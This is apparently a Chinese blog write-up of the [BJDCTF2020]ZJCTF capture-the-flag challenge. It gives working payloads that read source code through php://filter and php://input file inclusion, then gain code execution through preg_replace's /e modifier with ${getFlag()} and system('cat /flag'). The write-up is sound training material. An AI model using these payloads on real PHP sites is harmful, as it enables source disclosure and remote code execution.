ctf php正则截断,记[BJDCTF2020]ZJCTF,不过如此 关于php的正则匹配问题

题目一上来就直接放出一段代码,那么话不多说,直接进行代码设计。

error_reporting(0);

$text = $_GET["text"];

$file = $_GET["file"];

if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){

echo "

".file_get_contents($text,'r')."

";

if(preg_match("/flag/",$file)){

die("Not now!");

}

include($file); //next.php

}

else{

highlight_file(__FILE__);

}

?>

从这里我们不难看出

需要传入text和file 两个参数

text不能为空且需要file_get_contents($text,‘r’)“等于I have a dream”

file对flag进行了过滤,因此我们不能直接getflag

源码给出了提示,我们可以对这个next.php想办法。

这里我们以此来解决问题

首先file_get_contents()是从文件中读取数据,但是这里我们是需要从text参数中获取,因此我们需要使用到php的伪协议 php://input

php://input 是个可以访问请求的原始数据的只读流。通过它可以读取没有处理过的POST数据,从而为file_get_contents()提供数据源

直接include(‘next.php’)没有任何有用的回显,因此我们可以利用文件包含漏洞来读取源代码,这里用到了另一个php伪协议php://filter

php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取.

常见的构造方法形如 :

php://filter/read=convert.base64-encode/recource=index.php

该语句会将index.php的源码内容读取并转换成base64编码,配合include()就可以显示在页面上。

总上所述我们可以构造如下payload

POST /?text=php://input&file=PHP://filter/read%3dconvert.base64-encode/resource%3dnext.php HTTP/1.1

Host: ca6d6997-743e-4428-8758-310ee98d80d5.node3.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: UM_distinctid=175ba1a882d28-0fc3a4b8b8c4e7-4c302372-1fa400-175ba1a882e130

Upgrade-Insecure-Requests: 1

Content-Length: 14

Content-Type: application/x-www-form-urlencoded

I have a dream

成功获得源码的base64转义

>PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K

转义后的源码为

$id = $_GET['id'];

$_SESSION['id'] = $id;

function complex($re, $str) {

return preg_replace(

'/(' . $re . ')/ei',

'strtolower("\\1")',

$str

);

}

foreach($_GET as $re => $str) {

echo complex($re, $str). "\n";

}

function getFlag(){

@eval($_GET['cmd']);

}

又是一个新的代码审计内容,通过分析我们可以知道

该php会遍历所有get出传入的参数并complex(re,str)函数,其中re为出传入的参数名,str为对应的值

getFlag函数有执行eval的权限,应该就是我们最终的目标

complex返回grep_replace()的结果,而grep_replace()在/e的匹配模式下,会将替换后的字符串作为php代码执行。

因此我们的最终目标就是利用grep_replace()达到执行getFlag函数的目的。

接下来就是对grep_replace()的具体分析

preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str )

简单的介绍一下preg_replace

preg_replace ($pattern , $replacement , $subject )

其中 $pattern为正则表达式

$replacement为替换字符串

$subject 为要搜索替换的目标字符串或字符串数组

这个函数存在一些奇异的地方,正则表达式$pattern以/e结尾时$replacement的值会被作为php函数执行。

例如执行 preg_replace (‘/test/e’ , "phpinfo();" , "test" )

“test”会被替换为phpinfo();并执行。

再来分析一下题目中的表达式

匹配规则和被匹配字符串我们都可以控制

这儿的strtolower("\1")有点特别,通过查阅资料\1表示取出正则匹配后的第一个子匹配中的第一项。

举个例子,

preg_replace('/(\S)(\S)/i','strtolower("\\1")', "123Abc")

// \S表示匹配任何非空白字符,()表示匹配的子串

就会被替换成

strtolower("1")strtolower("3")strtolower("b")

其中大致的处理过程可以分解成这样

php对123Abc进行匹配,正则表达式为(\S)(\S),匹配任意2个非空字符

正则首先匹配到的是[’1‘ ,’2‘],然后将其替换成strtolower("\1"),又因为\1会匹配第一个子串,所以strtolower("\1")就变成了strtolower(“1”)

然后重复顺序的进行如上匹配规则执行,就有了上面的最终匹配结果。

回到题目上来,如何让strtolower("")里面的内容当作函数被执行呢?这里有一个知识点

在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。也就是说我们可以构造一个变量来达到执行命令的目的。

通过{${}}可以构造特殊的变量。

echo "{${phpinfo()}}";

echo "${phpinfo()}";

注:在5.5及以上版本下,第二种写法也可以生效,实测5.3/5.4会报错

构造上述的变量,phpinfo就会被执行。

感兴趣的可以参考

https://www.cnblogs.com/dhsx/p/4991983.html

知道了这个我们的大概思路就出来了

构造正则表达式匹配字符串

构造字符串调用getFlag()函数

cmd传入命令获取flag

那么现在只剩下如何构造正则表达式,通常会使用

.来匹配任意字符串,但是本题目中GET参数中传入的.会被php的安全机制替换成_,导致正则匹配失败。我们可以通过\S来实现匹配。

注:

\S 匹配任意非空白字符(空白字符如回车、换行、分页等 )

. 匹配任意字符但不包含回车换行

* 贪婪模式,匹配任意次的最大长度

( ) 合并整体匹配,并放入内存,可使用\1 \2...依次获取

最终payload

next.php?\S*=${getFlag()}&cmd=system('cat /flag');

这里构造

/next.php?\S*={${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}}

也是可以的,此处用chr()表示字符是因为直接使用‘”符号就导致闭合出现问题。

成功获取flag

de7b674c78514dc8d54a1c8e0172519a.png

标签:BJDCTF2020,匹配,ZJCTF,replace,chr,file,strtolower,php

来源: https://blog.csdn.net/xiayu729100940/article/details/112478012

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值